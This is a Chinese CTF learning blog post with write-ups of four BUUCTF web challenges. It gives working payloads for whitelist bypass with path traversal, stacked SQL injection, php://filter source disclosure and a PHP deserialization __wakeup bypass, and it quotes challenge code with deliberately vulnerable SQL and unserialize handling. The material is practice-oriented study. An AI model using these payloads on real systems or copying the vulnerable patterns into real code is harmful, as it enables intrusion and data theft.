从零开始的CTFer成长之路 - Web篇

本篇记录CTF中Web题WriteUp,适合入门新手但不适用于零基础,推荐使用右下角目录浏览
从零开始的CTFer成长之路 - Web篇

2021-5-12

[HCTF 2018]WarmUp - 出自BUUCTF

打开页面发现有张图片 我们直接查看源码分析

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

可以看到存在页面: source.php 访问可以直接看到源代码 其中

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)

定义了三个条件

1.不允许为空
2.必须为字符串
3.通过checkFile()函数校验

接下来分析checkFile()函数:

class emmm  //定义emmm类
{
    public static function checkFile(&$page)  #//将传入的参数给$page
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //声明变量$whitelist数组
        if (! isset($page) || !is_string($page)) {  //若$page值为空或者$page不是字符串
            echo "you can't see it";
            return false;
        }
        if (in_array($page, $whitelist)) {  //若$page值存在于$whitelist数组中
            return true;
        }
        $_page = mb_substr(  //截取$page字符串?前面的部分,若无则截取整段$page
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        $_page = urldecode($page);  //url解码$page
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

$whitelist = ["source"=>"source.php","hint"=>"hint.php"] 定义了hint的参数只能为source.php或hint.php
我们在source.php后面跟上?file=hint.php 页面返回结果

flag not here, and flag in ffffllllaaaagggg

可以知道flag文件的文件名为ffffllllaaaagggg
其中 urldecode()对$page进行了解码后再次截取了?前的内容并且赋值给$_page

        $_page = urldecode($page);  //url解码$page
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );

我们可以通过这个函数绕过白名单检测,将?编码两次后的结果%253F作为参数拼接出payload

http://5bc874fd-f511-4f3f-91eb-6fac30058d51.node3.buuoj.cn/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg

FLAG : flag{34643d71-22e7-4c62-bcd1-8245dc2e813a}


2021-5-21

[SUCTF 2019]EasySQL - 出自BUUCTF

我们首先进入页面 对注入点进行测试 输入数字页面回显数组
从零开始的CTFer成长之路 - Web篇
尝试输入字符串页面没有回显
从零开始的CTFer成长之路 - Web篇
输入注入语句页面返回Nonono.
从零开始的CTFer成长之路 - Web篇
尝试堆叠注入 构建语句查询数据库

1;show databases;

从零开始的CTFer成长之路 - Web篇
同理构建语句查询当前使用的库下的所有的表

1;show tables;

从零开始的CTFer成长之路 - Web篇
尝试使用show columns查看flag表内的数据

1;show columns from Flag;#

发现from被屏蔽了 页面返回Nonono.

多次尝试无果 在writeup内找到网页源代码

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile
        			|readfile|where|from|union|update|delete|if|sleep|extractvalue|
    			    updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }
    
    ?>

我们找到注入点的语句

select ".$post['query']."||flag from Flag

语句会创建query传来参数的字段与结果一起查询
从零开始的CTFer成长之路 - Web篇
从零开始的CTFer成长之路 - Web篇
构建语句 查询表中所有结果 在网页中返回flag值

select *,1||flag from Flag

从零开始的CTFer成长之路 - Web篇
flag{d6a4e191-b241-44b2-8132-b4bbf9968a52}


[ACTF2020 新生赛]Include - 出自BUUCTF

打开页面点击tips看到URL对flag.php页面进行了包含
从零开始的CTFer成长之路 - Web篇
进行多次尝试包含上级目录的是否存在flag文件无果转换思路 通过php伪协议查看当前页面源码 构建语句

file=php://filter/read=convert.base64-encode/resource=flag.php

网页返回base64加密后的源码
从零开始的CTFer成长之路 - Web篇
解码后发现网页源代码内就存在flag

>>> import base64
>>> str ="PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTNmNGY0YjUtNTdkMy00ZDViLWEzMTQtMzQ1ZTIxODU1MmFhfQo="
>>> base64.b64decode(str)
b'<?php\necho "Can you find out the flag?";\n//flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}\n'
>>>

flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}


2021-6-01

[极客大挑战 2019]PHP - 出自BUUCTF

知识点:PHP反序列化

我们首先打开页面看到提示存在备份文件,使用目录扫描工具扫描

得到压缩包www.zip 查看压缩包下存在三个页面

  • index.php - 主页

  • class.php - 主页包含页面

  • flag.php - 存在错误Flag的无用页面

在index.php看到源码

    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);

对页面class.php进行了包含 并且接受传入反序列化后的select参数

接下来分析class.php页面

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}

可以看到当传入参数username='admin'且password=100时,执行__destruct()方法将会得到Flag,所以我们构建序列化参数

<?php

class Name{
    private $username = 'admin';
    private $password = 100;
}

$a = new Name();
var_dump(serialize($a));

保存代码后执行 获得序列化后的数据

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在传入参数前还需要注意__wakeup()魔法函数 在这顺便贴一下常见魔法函数:

__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用

__wakeup()魔法函数实际上是可以跳过的,当反序列化字符串时,属性的个数大于实际属性个数时,例如:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

0 代表对象名
3 代表占三个字符
Name 类名
3 代表3个属性
s 数据类型string
Nameusername 类名+属性名

在传入数据之前我们还需要注意Name类中声明字段时,使用private声明的私有字段,*private修饰变量时为x00类名x00变量名 但是在构建脚本时x00会报错,所以用%00来填充,根据已有信息,构建payload获得Flag

[URL]?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

flag{8ed20c73-6cc3-4082-b5d2-121ec8c64f65}


上一篇:0到1 ctfer :afr_2 :Nginx目录穿越漏洞


下一篇:i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)